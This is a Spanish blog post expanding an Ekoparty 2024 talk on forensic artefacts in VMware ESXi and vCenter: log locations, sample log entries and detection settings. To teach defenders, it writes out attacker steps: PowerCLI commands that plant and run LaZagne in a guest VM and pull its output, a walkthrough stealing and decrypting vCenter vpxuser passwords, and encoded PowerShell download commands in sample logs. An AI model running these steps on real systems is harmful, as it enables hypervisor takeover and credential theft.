¡Hey, que tal todos! En esta ocasión, he decidido traerles una entrada completa relacionada a una charla que tuve la oportunidad de dar en la conferencia Ekoparty (edición 2024). Es una recopilación de datos técnicos importantes a considerar al momento de realizar investigaciones forenses sobre entornos de virtualización VMware. Este post me permitirá resumir los puntos técnicos más relevantes de esa charla y tambien profundizar sobre ciertos aspectos que omití en la presentación debido al limitado tiempo que tenía para exponer.
Espero disfruten este post y sin más que decir, comencemos.
Tabla de Contenido
Introducción
Artefactos forenses
Logs de sistemas ESXi
VIX API
Logs de vCenter
Artefactos adicionales
VIBS
Obtención de imagenes forenses en ESXi
Recomendaciones
Recomendaciones de Alta prioridad
Recomendaciones de baja prioridad
Introducción
Rápidamente, definamos algunos conceptos importantes que necesitan entender antes de realizar análisis de estos entornos:
Hipervisor: Dependiendo el contexto, los hipervisores pueden ser un software o un hardware que permite a un host correr múltiples máquinas virtuales (VM). Son sistemas que soportan enormes cargas de trabajo en redes modernas y suelen ser usados para almacenar servidores con distintos servicios.
ESX/ESXI: Software de virtualización para hipervisores VMware. Este sistema permite la creación y gestión de nuestras máquinas virtuales.
vCenter: Cuando las organizaciones tienen cargas muy grandes de servidores ESXi, vCenter (como parte de la suit de vSphere) es el software que permite orquestar todas estas instancias de servidores, haciendo mucho más fácil la administración y la distribución del trabajo.
Datastores: Storage utilizado para almacenar los objetos de máquinas virtuales. Estos storages se comunican en red de tal forma que las instancias de ESXi puedan visualizarlos. Hay distintos tipos de datastores como: NFS, iSCSI y vSAN, pero no entraremos en detalle en este punto.
ESXi y Active Directory
Usualmente las organizaciones unen los entornos de virtualización como VMware a la red de Active DIrectory. El propósito de esto, es poder tener un control de los roles e identidades que tienen permisos sobre estos servidores y administrarlos de manera más rápida. Al unir los servidores ESXi o vCenter a un dominio, el Active Directory crea por defecto un grupo de nombre "ESX Admins" donde estarán aquellos usuarios que tienen privilegios sobre nuestra infraestructura de virtualización.
Si bien, esto puede resultar conveniente en términos de administración, si nuestros hipervisores no están resguardados de manera correcta, un actor de amenaza que tome control de nuestro Active Directory, podrá pivotear fácilmente a los servidores ESXi y tomar control de servidores críticos virtualizados.
Nota: Para mas detalle de cómo proteger la infraestructura, recomiendo que lean cuidadosamente el último apartado de "Recomendaciones" en este blog.
Recordemos que ciertos actores de amenaza, como por ejemplo: grupos ransomware, focalizan sus ataques en infraestructura de virtualización con diferentes fines:
Distribución de malware.
Destrucción de servidores virtuales críticos en el entorno.
Eliminación de evidencia importante para la investigación.
Inhabilitar la recuperación de datos.
Obtención de privilegios altos y facilidad de movimiento lateral.
Además, en la mayoría de los casos, las organizaciones no protegen adecuadamente estas infraestructuras, sin mencionar que no existen soluciones antivirus o de Endpoint Detections and Response (EDR) que puedan ser instalados en estos sistemas, por lo que se hace mucho más difícil detectar estos compromisos.
Las siguientes secciones proporcionan la información necesaria que un equipo de defensa debe tener disponible para poder detectar ataques en este tipo de infraestructuras.
Artefactos Forenses
Logs de sistemas ESXi
Los servidores ESXi de virtualización, poseen diferentes registros de los eventos que ocurren en el sistema. Si bien, podemos encontrar información similar a la que evidenciaríamos en un sistema Unix común, existen otros logs enfocados en el troubleshooting de máquinas virtuales y la salud de los servicios de administración.
La siguiente tabla, muestra un pequeño resumen de logs que considero importantes al momento de hacer una investigación sobre servidores ESXi.
Componente del sistema | Ruta absoluta | Detalles |
Mensajes del sistema | /var/log/syslog.log | Contiene todos los mensajes generales del sistema |
Autenticación | /var/log/auth.log | Eventos de autenticación local |
Log de comandos | /var/log/Shell.log | Comandos ejecutados desde la consola de ESXi y eventos de consola |
Log de agente de host ESXi | /var/log/hostd.log | Contiene información del servicio hostd y manejo y configuraciones del host ESXi y sus VMs |
Log de agente de servidor vCenter | /var/log/vpxa.log | Contiene información del agente que se comunica con vCenter |
Mensajes de VMkernel | /var/log/vmkernel.log | Registra actividades relacionada a los VM guests y ESXi |
Resumen de VMKernel | /var/log/vmksummary.log | Usado para determinar uptime, disponibilidad y otras estadísticas de ESXi |
Warnings de VMKernel | /var/log/vmkwarning.log | Registra actividades relacionada a VM guests. |
En particular, los logs: syslog, auth, shell y hostd, proveen información sumamente importante para conocer acciones del actor de amenaza sobre el dispositivo y cómo inicialmente accedió al sistema. Veamos algunos ejemplos de logs para familiarizarnos con ellos.
Auth.log
Información útil:
Timestamps de conexión.
Origen de conexión.
Usuario local utilizado.
Terminal de conexión (pty).
Útil para conocer accesos indebidos a través de SSH.
2024-10-14T19:16:46.947Z sshd[112317]: FIPS mode initialized
2024-10-14T19:16:46.947Z sshd[112317]: Connection from 192.168.101.1 port 33722
2024-10-14T19:16:52.706Z sshd[112317]: Accepted keyboard-interactive/pam for root from 192.168.101.1 port 33722 ssh2
2024-10-14T19:16:52.732Z sshd[112317]: pam_unix(sshd:session): session opened for user root by (uid=0)
2024-10-14T19:16:52.748Z sshd[112324]: Session opened for 'root' on /dev/char/pty/t0
2024-10-14T19:22:11.063Z sshd[112355]: FIPS mode initialized
2024-10-14T19:22:11.064Z sshd[112355]: Connection from 192.168.101.1 port 58796
2024-10-14T19:22:18.625Z sshd[112355]: Connection closed by authenticating user root 192.168.101.1 port 58796 [preauth]
2024-10-14T19:22:53.643Z sshd[112361]: FIPS mode initialized
2024-10-14T19:22:53.643Z sshd[112361]: Connection from 192.168.101.1 port 38066
2024-10-14T19:23:01.837Z sshd[112361]: Accepted keyboard-interactive/pam for root from 192.168.101.1 port 38066 ssh2
2024-10-14T19:23:01.847Z sshd[112361]: pam_unix(sshd:session): session opened for user root by (uid=0)
2024-10-14T19:23:01.854Z sshd[112361]: User 'root' running command 'scp -t /'
2024-10-14T19:23:01.873Z sshd[112361]: Received disconnect from 192.168.101.1 port 38066:11: disconnected by user
2024-10-14T19:23:01.873Z sshd[112361]: Disconnected from user root 192.168.101.1 port 38066
2024-10-14T19:23:01.889Z sshd[112361]: pam_unix(sshd:session): session closed for user root
Shell.log
Información útil:
Timestamps de ejecución de comandos.
Comando completo ejecutado.
Usuario que ejecuto dichos comandos.
Útil para determinar acciones de actor de amenaza en sistema ESXi.
2024-10-14T19:10:57.566Z ESXShell[66201]: ESXi shell login enabled
2024-10-14T19:10:57.566Z SSH[66199]: SSH login enabled
2024-10-14T19:11:13.880Z ESXShell[68707]: ESXi Shell available
2024-10-14T19:16:52.754Z shell[112324]: Interactive shell session started
2024-10-14T19:19:44.747Z shell[112324]: [root]: ls
2024-10-14T19:21:17.625Z shell[112324]: [root]: cd
2024-10-14T19:21:46.784Z shell[112324]: [root]: ls
2024-10-14T19:21:47.593Z shell[112324]: [root]: pwd
2024-10-14T19:24:33.533Z shell[112324]: [root]: ls
2024-10-14T19:24:47.144Z shell[112324]: [root]: mv EvilTools.zip /tmp
2024-10-14T19:24:48.698Z shell[112324]: [root]: cd tmp/
2024-10-14T19:24:49.169Z shell[112324]: [root]: ls
2024-10-14T19:24:57.946Z shell[112324]: [root]: unzip EvilTools.zip
2024-10-14T19:25:00.129Z shell[112324]: [root]: ls
syslog.log
Información útil:
Timestamps de eventos.
Interacción con objetos del sistema a través de SCP.
Origen de conexión a través de SCP.
Útil para identificar el paso de artefactos maliciosos en el sistema usando SCP.
2024-10-14T10:47:05.8332 In (114) sftp-server [1055843]: session opened for local user root from [192.168.1.18]
2024-10-14T10:47:05.994Z In (114) sftp-server [1055043]: opendir "/"
2024-10-14T10:47:07.509Z In (114) sftp-server [1055043]: closedir "/"
2024-10-14T10:47:12.216Z In (114) sftp-server [1055043]: opendir "/tmp"
2024-10-14T10:47:13.636Z In (114) sftp-server [1055043]: closedir "/tmp"
2024-10-14T10:47:19.915Z In (114) sftp-server [1055043]: create "/tmp/Eviltools.zip"" flags WRITE, CREATE, TRUNCATE mode 0666
2024-10-14T10:47:20.043Z In (114) sftp-server [1055043]: close "/tmp/Eviltools.zip"" bytes read written 717200
2024-10-14T10:47:20.048Z In (114) sftp-server [1055043]: rename old "/tmp/vmware-utils.zip" new "/tmp/Ransomware"
2024-10-14T10:47:20.051Z In (114) sftp-server [1055043]: set "/tmp/vmware-utils.zip" modtime 20230330-12:37:16
2024-10-14T10:47:20.054Z In (114) sftp-server [1055043]: opendir "/tmp"
2024-10-14T10:47:21.2612 In (114) sftp-server [1055843]: closedir "/tmp"
hostd.log
Información útil:
Timestamps de conexión.
Inicios de sesión a través de SSH, Web GUI y VIX API.
User-Agents asociados a conexiones web.
Permite determinar acciones para habilitar servicio de SSH.
Útil para identificar ataques de fuerza bruta en servicios web.
Útil para identificar accesos utilizando VIX API
2024-10-14T03:11:21.042Z info hostd[133712] [Originator@6876 sub=Vimsvc.ha-eventmgr] Event 100 : SSH access has been enabled.
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Default opID=esxui-a6ad-540a] Accepted password for user root from 192.168.101.1
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Vimsvc opID=esxui-a6ad-540a] [Auth]: User root
2024-10-14T04:11:49.165Z warning hostd[133166] [Originator@6876 sub=Vimsvc opID=esxui-a6ad-540a] Refresh function is not configured.User data can't be added to scheduler.User name: root
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Vimsvc.ha-eventmgr opID=esxui-a6ad-540a] Event 103 : User root@192.168.101.1 logged in as Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537
2024-10-14T04:11:49.217Z info hostd[132878] [Originator@6876 sub=Solo.Vmomi opID=esxui-1c2-5410] Activation finished; <<52d9bc58-9b3b-b989-8779-90f3582e1afb, <TCP '127.0.0.1 : 8307'>, <TCP '127.0.0.1 : 26858'>>, ha-property-collector, vmodl.query.Proper
2024-10-14T04:11:49.217Z verbose hostd[132878] [Originator@6876 sub=Solo.Vmomi opID=esxui-1c2-5410] Arg version:
2024-10-14T04:24:50.468Z warning hostd[133166] [Originator@6876 sub=Vimsvc opID=80b255ab] Refresh function is not configured.User data can't be added to scheduler.User name: root
2024-10-14T04:24:50.468Z info hostd[133166] [Originator@6876 sub=Vimsvc.ha-eventmgr opID=80b255ab] Event 107 : User root@192.168.101.1 logged in as PowerCLI/13.2.1.22851661
2024-10-14T04:28:03.816Z verbose hostd[133166] [Originator@6876 sub=Vmsvc.vm:/vmfs/volumes/66ea12b4-b159a1c7-f1c1-000c29f80503/Win10-Eko/Win10-Eko.vmx opID=esxui-414d-5459] New MKS connection count: 0
024-10-17T04:35:33.272Z info hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Activation finished; <<521d452d-5fff-f51d-3384-86d67dfb3658, <TCP '127.0.0.1 : 8307'>, <TCP '127.0.0.1 : 45746'>>, ha-guest-operations-file-manager, vim.vm
2024-10-14T04:35:33.272Z verbose hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Arg vm:
--> 'vim.VirtualMachine:1'
2024-10-14T04:35:33.272Z verbose hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Arg auth:
--> (vim.vm.guest.NamePasswordAuthentication) {
--> interactiveSession = false,
--> username = "Administrador",
--> password = (not shown)
VIX API
El VIX API es la interfaz de desarrollo nativa de los sistemas ESXi. ViX API permite la automatización de tareas para la comunicación con los sistemas operativos Guest, mediante lenguajes como Python o utilizando el módulo PowerCLI de Powershell. Si bien, esta interfaz de desarrollo es muy útil para la administración de las VM en los servidores ESXi, los actores de amenaza la utilizan para ejecutar comandos y código malicioso de forma remota en las VM.
Utilizando el VIX API, un actor de amenaza puede transferir archivos, listar procesos, descargar archivos y llamar la ejecución de comandos a través de comandos nativos del sistema. Esto ocurre gracias a que la comunicación de la API se realiza a través del ESXi (específicamente gracias al demonio de hostd), quien "rutea" la conexión hacia la máquina virtual utilizando el VMCI (VMware Virtual Machine Communication Interface), lo que permite establecer el canal de comunicación. Luego, es el proceso de VMware-tools que recepciona esta comunicación y mediante el módulo de VGAuth integrado se genera la autenticación con el sistema operativo. Es solo a partir de aquí que la ejecución de comandos y otras tareas son posibles en el sistema operativo.
Como entenderán, cualquier uso del VIX API para realizar tareas a los VM Guest utiliza como intermediario VMware-tools, por lo que ese proceso es muy importante monitorearlo a nivel de seguridad.
Una ejecución de comandos común utilizando PowerCLI y el VIX API puede verse como sigue a continuación:
# Conexión a host ESXi.
PS> Connect-VIServer –Server 192.169.101.101 –user root –Password Summer2024.
# Copia de binario a VM.
PS> Get-Item “C:\evil\Lazagne.exe” | Copy-VMguestFile –Destination “C:\temp\” -VM Production-VM –LocalToGuest –GuestUser Administrador –GuestPassword MySecurePassword.
# Ejecución de binario en VM.
PS> Invoke-VMScript –VM Production-VM –ScriptText ‘C:\temp\Lazagne.exe all > C:\temp\output.txt’ –GuestUser Administrador –GuestPassword Test123.
# Copia de archivo de salida al punto final del atacante.
PS> Copy-VMGuest –Source c:\temp\output.txt –Destination c:\evil\ -VM Production-VM –GestToLocal –GuestUser Administrador –GuestPassword Test123
SI bien, esto puede parecer impactante, hay que tener en consideración que no es posible realizar estas acciones si no se poseen las credenciales del servidor ESXi y las credenciales de administración del VM Guest (a menos que explotes una vulnerabilidad como CVE-2020-20867).
!Pero no entres en pánico! Existen al menos 3 formas distintas de detectar este tipo de comportamientos los cuales se resumen a continuación:
Mediante los logs de Windows de la VM afectada:
Principalmente, debemos enfocarnos en los eventos 4624 del log security.evtx y fijarnos en aquellos inicios de sesión de tipo 4 (Batch) que provienen del proceso VMware-tools, sumado a eventos de powershell o sysmon donde el proceso padre sea vmware tools.
No podemos considerar los eventos 4624 que nacen del proceso Vmware-Tools como maliciosos por si solo, por que este proceso ya genera estos eventos cada cierto tiempo.
Evento 4624: Logon type 4
Se inició sesión correctamente en una cuenta.
Información de inicio de sesión:
Tipo de inicio de sesión: 4
Modo de administrador restringido: -
Credential Guard remota: -
Cuenta virtual: No
Token elevado: Sí
Nivel de suplantación: Suplantación
Nuevo inicio de sesión:
Id. de seguridad: Production-VM\Administrador
Nombre de cuenta: Administrador
Dominio de cuenta: Production-VM
Id. de inicio de sesión: 0x3E7
Inicio de sesión vinculado: 0x0
Nombre de cuenta de red: -
Dominio de cuenta de red: -
GUID de inicio de sesión: {00000000-0000-0000-0000-000000000000}
Información de proceso:
Id. de proceso: 0x494
Nombre de proceso: C:\Archivos de Programa\VMware\Vmware Tools\vmtoolsd.exe
Evento 1 Sysmon.evtx
The Following information was included with the event
2024-10-01 22:48:33.521
EV_RenderedValue_2.00
1880
OriginalFileName Cmdline
CommandLine “cmd.exe” /C powershell –Nominteractive –EncodedCommand cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAcgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB
------------------------------SNIP-----------------------------
4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAcgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CurrentDirectory: C:\Windows\system32
LogonGUID:
LogonID: 0x3E7
ParentProcessGuid: {23f46c21-652d-65bc-fb00-000000000800}
ParentProcessid: 3564
ParentImage: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
ParentCommandLine: “C:\Program Files\VMware\Vmware Tools\vmtoolsd.exe”
ParentUser: NT Authority\SYSTEM
Mediante VMware.log ubicado en /vmfs/Volumes/<volumen id>/<VM name> -> (Host ESXi)
Este log registra "Guest Operations" (Acciones realizadas sobre la máquina virtual a través de la API) como la ejecución de procesos, listado de procesos, transferencia de archivos, etc., por lo que se convierte en un log perfecto para identificar acciones maliciosas sobre nuestros sistemas.
Si bien, VMware posee una documentación sobre estos objetos y métodos usados para entender a profundidad la operación, los nombres por si solos nos dan una gran cantidad de información de lo que se está realizando en el VM Guest. Algunos de estos Guest Operations comunes son:
GuestFileManager.CreateTemporaryFileInGUest
GuestFileManager.InitiateFileTransferFromGuest
GuestFileManager.InitiateFileTransferToGuest
GuestProcessManager.StartProgramInGuest
GuestFileManager.CreateTemporaryDirectoryinGuest
Lo bueno de esto, es que viene activado por defecto en las instancias de ESXi al crear las máquinas virtuales, pero los actores de amenaza pueden deshabilitarlo si son suficientemente astutos.
VMware.log
[root@ESXIA:/vmfs/volumes/Datastore40-A/Win10-Eko] tail -f vmware.log
------------------------------------------------------------------
In(05) vmx - VigorTransportProcessClientPayload: opID=80b2560e seq=1928: Receiving GuestOps.ListProcesses request.
2024-10-17T04:29:56.735Z 2024-10-17T04:29:51.060Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b255fe seq=1910: Receiving GuestOps.CreateTemporaryFile request.
2024-10-17T04:29:51.458Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b255fe seq=1910: Completed GuestOps request with messages.
2024-10-17T04:29:51.470Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25602 seq=1916: Receiving GuestOps.StartProgram request.
2024-10-17T04:29:51.540Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b25602 seq=1916: Completed GuestOps request with messages.
2024-10-17T04:29:51.568Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25607 seq=1922: Receiving GuestOps.ListProcesses request.
2024-10-17T04:29:51.601Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b25607 seq=1922: Completed GuestOps request with messages.
2024-10-17T04:29:56.617Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=80b2560e seq=1928: Completed GuestOps request with messages.
2024-10-17T04:29:56.746Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25613 seq=1934: Receiving GuestOps.InitiateFileTransferFromGuest request.
2024-10-17T04:29:56.814Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=80b25613 seq=1934: Completed GuestOps request with messages.
2024-10-17T04:29:56.913Z In(05) vmx - VigorTransportProcessClientPayload: opID=esxui-414d-5459 seq=1942: Receiving GuestOps.SendPacket request.
2024-10-17T04:29:56.923Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=esxui-414d-5459 seq=1942: Completed GuestOps request with messages.
2024-10-17T04:29:56.924Z In(05) vmx - VigorTransportProcessClientPayload: opID=esxui-414d-5459 seq=1943: Receiving GuestOps.SendPacket request.
Mediante Log de Vmware tools en VM Guest
Este es un log custom de VMware tools que no viene habilitado por defecto. Habilitarlo es muy fácil, pero es muy ruidoso, por lo que debemos procurar enviarlo a una plataforma SIEM para no sobrecargar el espacio del disco.
Para habilitar este log, simplemente debemos modificar la configuración del archivo Tools.conf ubicado en la ruta C:\ProgramData\VMware\VMware Tools
y dejarlo como sigue:
[Logging]
Log = true
vmsvc.level = debug
vmsvc.handler = file
vmsvc.data = C:\logs\vmsvc.logNotar que, hemos puesto el parametro vmsvc.level en "Debug", lo que significa que mostrará todo el detalle de los eventos.
Luego de eso, podremos ver la generación de logs como sigue:
[2024-10-17T07:29:51.986Z] [ message] [vix] [3100] VixTools_ProcessVixCommand: command 185
[2024-10-17T07:29:51.658Z] [ message] [VCGA] [3100] VGAuth 'build-19343857' initialized for application 'vmtoolsd'. Context created at 00000290DE0EB730
[2024-10-17T07:29:51.658Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 202], Trying Batch LogonUser(Administrador)
[2024-10-17T07:29:51.674Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 237], Batch LogonUser(Administrador) succeeded
[ [2024-10-17T07:29:51.861Z] [ debug] [vix] [3100] VixToolsImpersonateUser: successfully impersonated user Administrador
[2024-10-17T07:29:51.861Z] [ debug] [vix] [3100] VixToolsCreateTempFileInt: User: Administrador
[2024-10-17T07:29:51.939Z] [ debug] [VCGA] [3100] [function VGAuthUnloadUserProfile, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/impersonateWin32.c, line 228], Unloaded profile for user 'Administrador'
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 202], Trying Batch LogonUser(Administrador)
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 237], Batch LogonUser(Administrador) succeeded
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] VGAuth_CreateHandleForUsername: Created handle 00000290DE0EB3D0
[2024-10-17T07:29:52.017Z] [ debug] [VCGA] [3100] [function VGAuthLoadUserProfile, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/impersonateWin32.c, line 195], Loaded profile for user 'Administrador'
[2024-10-17T07:29:52.017Z] [ debug] [vix] [3100] VixToolsImpersonateUser: successfully impersonated user Administrador
[2024-10-17T07:29:52.017Z] [ debug] [vix] [3100] VixTools_StartProgram: User: Administrador args: progamPath: 'cmd.exe', arguments: '/C powershell -NonInteractive -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBPAHUAdABwAHUAdABGAG8AcgBtAGEA
dAAgAHQAZQB4AHQAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACcAJgAgAHsARwBlAHQALQBQAHIAbwBjAGUAcwBzAH0AJwAgAD4AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEARABNAEkA
--------------------------------SKIP--------------------------------------
GMAbABpAHYAbQB3AGEAcgBlADQAMwAiADsAIABlAHgAaQB0ACAAJABsAGEAcwB0AGUAeABpAHQAYwBvAGQAZQA=', workingDir: ‘’
[2024-10-17T07:29:52.033Z] [ debug] [vmsvc] [3100] Spawned sub-process 1328
[2024-10-17T07:29:52.033Z] [ debug] [vix] [3100] VixToolsRegisterProcHandleInvalidator: Process Handle Invalidator registered
[2024-10-17T07:29:52.033Z] [ debug] [vix] [3100] VixTools_StartProgram: returning '2440'
[2024-10-17T07:29:52.033Z] [ message] [vix] [3100] VixTools_StartProgram: opcode 185 returning 0
Notar que, similar al método anterior, nuestro log genera "OpCodes", las cuales son las acciones realizadas directamente desde el VIX API.
Adjunto una tabla resumen con los OpCodes más comunes para nuestras investigaciones.
OpCode | Vix Command | Guest Operation Equivalent |
177 | VIX_COMMAND_LIST_FILES | ListFilesInGuest |
185 | VIX_COMMAND_START_PROGRAM | StartProgramInGuest |
186 | VIX_COMMAND_LIST_PROCESSES_EX | ListProcessesInGuest |
188 | VIX_COMMAND_INITIATE_FILE_TRANSFER_FROM_GUEST | InitiateFileTransferFromGuest |
189 | VIX_COMMAND_INITIATE_FILE_TRANSFER_TO_GUEST | InitiateFileTransferToGuest |
VMware vCenter
vCenter, es el orquestador de instancias ESXi de nuestro entorno. Al igual que un ESXi, posee distintos logs de información que nos pueden ayudar a una investigación forense y de respuesta a incidentes. Este software puede ser levantado desde una imagen en un servidor desde cero o puede ser instalado directamente en un servidor Windows para su utilización.
Si bien, vCenter se asemeja mucho más a los logs de sistemas Unix tradicionales, existen otros logs particulares que pueden ser útiles en nuestras investigaciones.
Componente del sistema | Ruta absoluta | Detalles |
Autenticación | /var/log/lastlog | Última vez que una cuenta inicio sesión en el sistema. |
Autenticación | /var/log/btmp | Registro de intentos fallidos de inicio de sesión. |
Autenticación | /var/log/wtmp | Información historia de inicios de sesión. |
Servicio | /storage/log/vmware/vpxd.log | Log principal de vCenter server. Consiste de todas las conexiones de vSphere y servicios web asociados. |
Autenticación Web | /var/log/vmware/sso/websso.log | Log de autenticación de portal web de vSphere. |
Autenticación SSH | /var/log/vmware/message | Log adicional para conexiones SSH. |
Aplicación de BD | /var/log/vmware/vpostgres/Postgresql-XY.log | Archivo de log de base de datos. |
vCenter software | vCenter portal -> Monitor -> Events | Monitoreo de eventos de vCenter. |
Una de las características más interesantes de vCenter, es que, para poder administrar todas las instancias de servidores ESXi, crea un usuario de nombre vpxuser en cada una de las instancias y almacena las credenciales de dicho usuario en una Base de datos PostgreSQL. Es así, como al ser una entidad que orquesta las instancias, los administradores TI solo necesitan usar vCenter para manejar los recursos desde 1 servidor para monitorear las máquinas virtuales del entorno.
Dada esta información, uno de los principales objetivos de los actores de amenaza, es tratar de comprometer las cuentas de vpxuser que se encuentran almacenadas en la base de datos de vCenter, lo cual es posible realizarlo si es que se tienen permisos administrativos sobre este servidor. Comprometer esta cuenta, significa tomar control de las instancias de ESXi asociadas y por ende una forma fácil para la distribución de malware.
Veamos paso a paso como un actor de amenaza puede comprometer estas credenciales:
Paso 1: Estando dentro del servidor vCenter, enumeramos la información de la base de datos de PostergreSQL desde el archivo /etc/vmware-vpx.
root@vcenter113 [/]# cat /etc/vmware-vpx
driver = org.postgresql.Driver
dbtype = PostgreSQL
url = jdbc:postgresql://localhost:5432/VCDB?sslmode=disable
username = vc
password = [REDACTED]
password.encrypted = falseComo se puede ver, este archivo contiene la información necesaria para ingresar a la base de datos (usuario, contraseña en texto plano y nombre de base de datos), por lo que con estos datos ya podemos robar la credencial de vpxuser.
Paso 2: A pesar de que podamos extraer la información de la credencial de vpxuser de la base de datos PostgreSQL, esta credencial viene cifrada, pero esto no es un problema, dado que la llave para descifrar la credencial la podemos encontrar en la ruta /etc/vmware-vpx/ssl/symkey.dat.
root@vcenter113 [/]# cat /etc/vmware-vpx/ssl/symkey.dat
[REDACTED]a38bf4fb2c2d283a8db328bf4fb2328b38bf[REDACTED]Paso 3: Vamos a la base de datos PostegreSQL de vCenter y obtenemos la credencial usando los comandos correctos:
root@vcenter113 [/]# /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U Postgres -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
root@vcenter113 [/]# cat password.enc [REDACTED]ep9nH6f9cUa0XGbe+8ATUTse2n9YLhZIddafFiCtuWmTxA1PtHAVXJpaH[REDACTED]
Paso 4: Utilizando un script público escrito en python (o incluso hecho por nosotros), podemos descifrar el contenido de la credencial y hacernos con la o las contraseñas de los usuarios vpxuser.
h4tt0r1@Katana> python3 decrypt.py symkey.dat password.enc password.txt
h4tt0r1@Katana> cat password.txt
B¿zK*$qjg_!sC{eN#[REDACTED]
Script utilizado: https://github.com/jas502n/VcenterExsi_PwdDecrypt
Afortunadamente, no todo está perdido. Existe un log que nos permite detectar este tipo de accesos a la base de datos y se encuentra en la ruta /var/log/vmware/vpostgres/postgresql.log. Si bien, este log registra autenticaciones en la base de datos, por defecto no registra los 'query statements' que se ejecutan sobre la base de datos, por lo que, lo ideal es habilitar este comportamiento modificando el archivo de configuración en la ruta /storage/db/vpostgres/postgresql.conf.
Postgresql.conf
root@vcenter113 [ /storage/db/vpostgres ]# cat postgresql.conf |grep -i "log_statement"
#sample fraction is determined by log_statement_sample_rate
#log_statement_sample_rate = 1.0 # fraction of logged statements exceeding
log_statement = 'all' # none, ddl, mod, all
#log_statement_stats = off
postgresql.log
2024-10-19 23:45:29.603 UTC 67140b2a.87b 0 LOG: checkpoint starting: time
2024-10-19 23:45:50.895 UTC 67143feb.94aa 0 VCDB vc FATAL: password authentication failed for user "vc"
2024-10-19 23:45:50.895 UTC 67143feb.94aa 0 VCDB vc DETAIL: Password does not match for user "vc".
Connection matched pg_hba.conf line 9: "host all all 127.0.0.1/32 md5"
2024-10-19 23:45:58.726 UTC 671444b6.3c27 0 VCDB postgres LOG: statement: ;
2024-10-19 23:46:21.319 UTC 67144257.85a 0 LOG: Updated instance status successfully.
2024-10-19 23:46:24.770 UTC 671444ce.3c9c 0 VCDB vc LOG: statement: select ip_address,user_name,password from vpx_host;
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc LOG: statement: show databases;
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc ERROR: unrecognized configuration parameter "databases"
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc STATEMENT: show databases;
2024-10-19 23:46:51.349 UTC 67144257.85a 0 LOG: Updating instance status...
Con esto, ya podemos monitorear intrusiones en la base de datos de vCenter.
Artefactos forenses adicionales
Listar todos los archivos creados y accedidos en los servidores ESXi. Enfocarse en aquellos archivos recientemente modificados/accedidos de acuerdo a los timestamps:
[root@ESXIA:~] find / | xargs stat -v '%n,%F,%s,%A,%u,%U,%g,%G,%h,%m,%i,%W,%X,%Y,%Z'
/tmp/EvilTools.zip,regular file,-rwxr-xr-x,8,root,0,root,1,m, 40515,W,1685789723,1680179836,1685789720
1685789723 Sat, 03 Jun 2023 18:55:23 UTC Accessed Time Stamp
1680179836 Thu, 30 Mar 2023 12:37:16 UTC Modified Time Stamp
1685789720 Sat, 03 Jun 2023 18:55:20 GMT MetaData Changed Time StampLogs de particion Scratch. Los ESXi borran la mayor parte de la información que vive en memoria RAM luego de realizar un Reboot (esto incluye todos los archivos que viven en memoria RAM que son parte del sistema operativo). Aun así, la ruta /scratch/log conserva gran parte de los logs que podemos analizar, (hasta un máximo de 4GB de espacio).
Historial de comandos. SI bien sabemos que shell.log guarda gran parte de los comandos, si este es borrado, aún contamos con el historial de root/.ash_history. Este permanecerá intacto hasta que se haga un reboot del sistema.
